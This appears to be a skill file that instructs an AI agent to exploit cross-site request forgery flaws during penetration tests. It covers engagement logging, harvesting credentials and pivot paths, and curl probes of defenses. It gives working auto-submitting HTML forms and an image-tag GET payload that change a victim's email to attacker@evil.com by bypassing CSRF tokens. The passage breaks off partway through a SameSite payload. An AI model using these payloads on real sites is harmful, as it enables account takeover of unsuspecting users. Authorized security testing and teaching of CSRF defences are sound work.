/csrf

name: csrf
description: >
  Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized
  penetration testing.
keywords:
  - csrf
  - cross-site request forgery
  - csrf bypass
  - csrf token bypass
  - samesite bypass
  - json csrf
  - csrf poc
  - anti-csrf bypass
  - state-changing attack
  - forged request
  - csrf token
  - login csrf
  - cross-site request
tools:
  - burpsuite (CSRF PoC generator)
  - curl
opsec: low

CSRF (Cross-Site Request Forgery)

You are helping a penetration tester exploit CSRF vulnerabilities. The target application performs state-changing actions (password change, email update, role modification, fund transfer) without properly verifying that the request originated from the application itself. The goal is to demonstrate that an attacker can trick a victim's browser into making authenticated requests to the target. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[csrf] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

CSRF testing benefits from browser tools because **browser-enforced protections (SameSite cookies, CORS) only apply in a real browser context** — curl bypasses them, which can produce false positives.

• **`browser_evaluate`** to test SameSite cookie behavior (check if cookies

are sent on cross-origin requests in a real browser)

• **`browser_open`** to load PoC HTML pages that submit cross-origin requests

— confirms real exploitability with browser-enforced protections active

• **`browser_cookies`** to inspect SameSite attributes and cookie flags
• **`browser_screenshot`** for evidence of successful CSRF exploitation
• **curl** for initial request analysis, token extraction, and testing

server-side defenses (Referer/Origin checks, token validation)

Prerequisites

• A state-changing endpoint to target (password change, email update, role

modification, fund transfer, account settings)

• An authenticated session (to capture the legitimate request)
• A domain you control for hosting PoC pages (or Burp Collaborator)
• Knowledge of the target's CSRF defenses (token, SameSite, Referer check)

Step 1: Assess

Capture the target state-changing request and identify defenses.

Map State-Changing Endpoints

Look for POST/PUT/PATCH/DELETE requests that modify data:

• Account settings (email, password, profile)
• Financial operations (transfers, purchases)
• Administrative actions (role changes, user management)
• Content management (create, edit, delete)

Identify CSRF Defenses

# Capture a legitimate request and check for:

# 1. CSRF token in form body or header
grep -i "csrf\|token\|_token\|authenticity" response.html

# 2. SameSite cookie attribute
curl -sI "https://TARGET/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, SameSite=None, or absent

# 3. Referer/Origin validation
# Send request without Referer — does it still work?
curl -s -X POST -H "Cookie: session=VALID" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=test@test.com" \
  "https://TARGET/change-email"

# 4. Custom header requirement (X-CSRF-Token, X-Requested-With)
# Check if the endpoint requires a custom header that forms can't set

Step 2: Token Bypass

Test the CSRF token validation for weaknesses.

Remove Token Entirely

The most common bypass — the server validates the token when present but accepts requests without it:

<form method="POST" action="https://TARGET/change-email">
  <input type="hidden" name="email" value="attacker@evil.com" />
  <!-- csrf_token parameter completely omitted -->
</form>
<script>document.forms[0].submit();</script>

Empty Token Value

<form method="POST" action="https://TARGET/change-email">
  <input type="hidden" name="email" value="attacker@evil.com" />
  <input type="hidden" name="csrf_token" value="" />
</form>
<script>document.forms[0].submit();</script>

Token Not Tied to Session

Use a token from your own session in the attack against the victim:

1. Log in with your attacker account 2. Extract your CSRF token from the page source 3. Use it in the PoC — if the server validates tokens globally (not per-session), your token works for any user

Token from Another Endpoint

Some applications use a single token pool. Extract a token from one endpoint and use it on the target endpoint.

Static or Predictable Token

Check if the token changes between requests. If it's static or follows a pattern (timestamp, sequential), it can be predicted.

Method Switch (POST to GET)

Some applications only validate CSRF on POST. Try converting to GET:

<!-- Original POST with token validation -->
<!-- Bypass: same action as GET without token -->
<img src="https://TARGET/change-email?email=attacker@evil.com" />

Step 3: SameSite Cookie Bypass

If the session cookie uses SameSite, determine the level and test bypasses.

SameSite=None

No protection — standard CSRF attacks work:

<form method="POST" action="https://TARGET/change-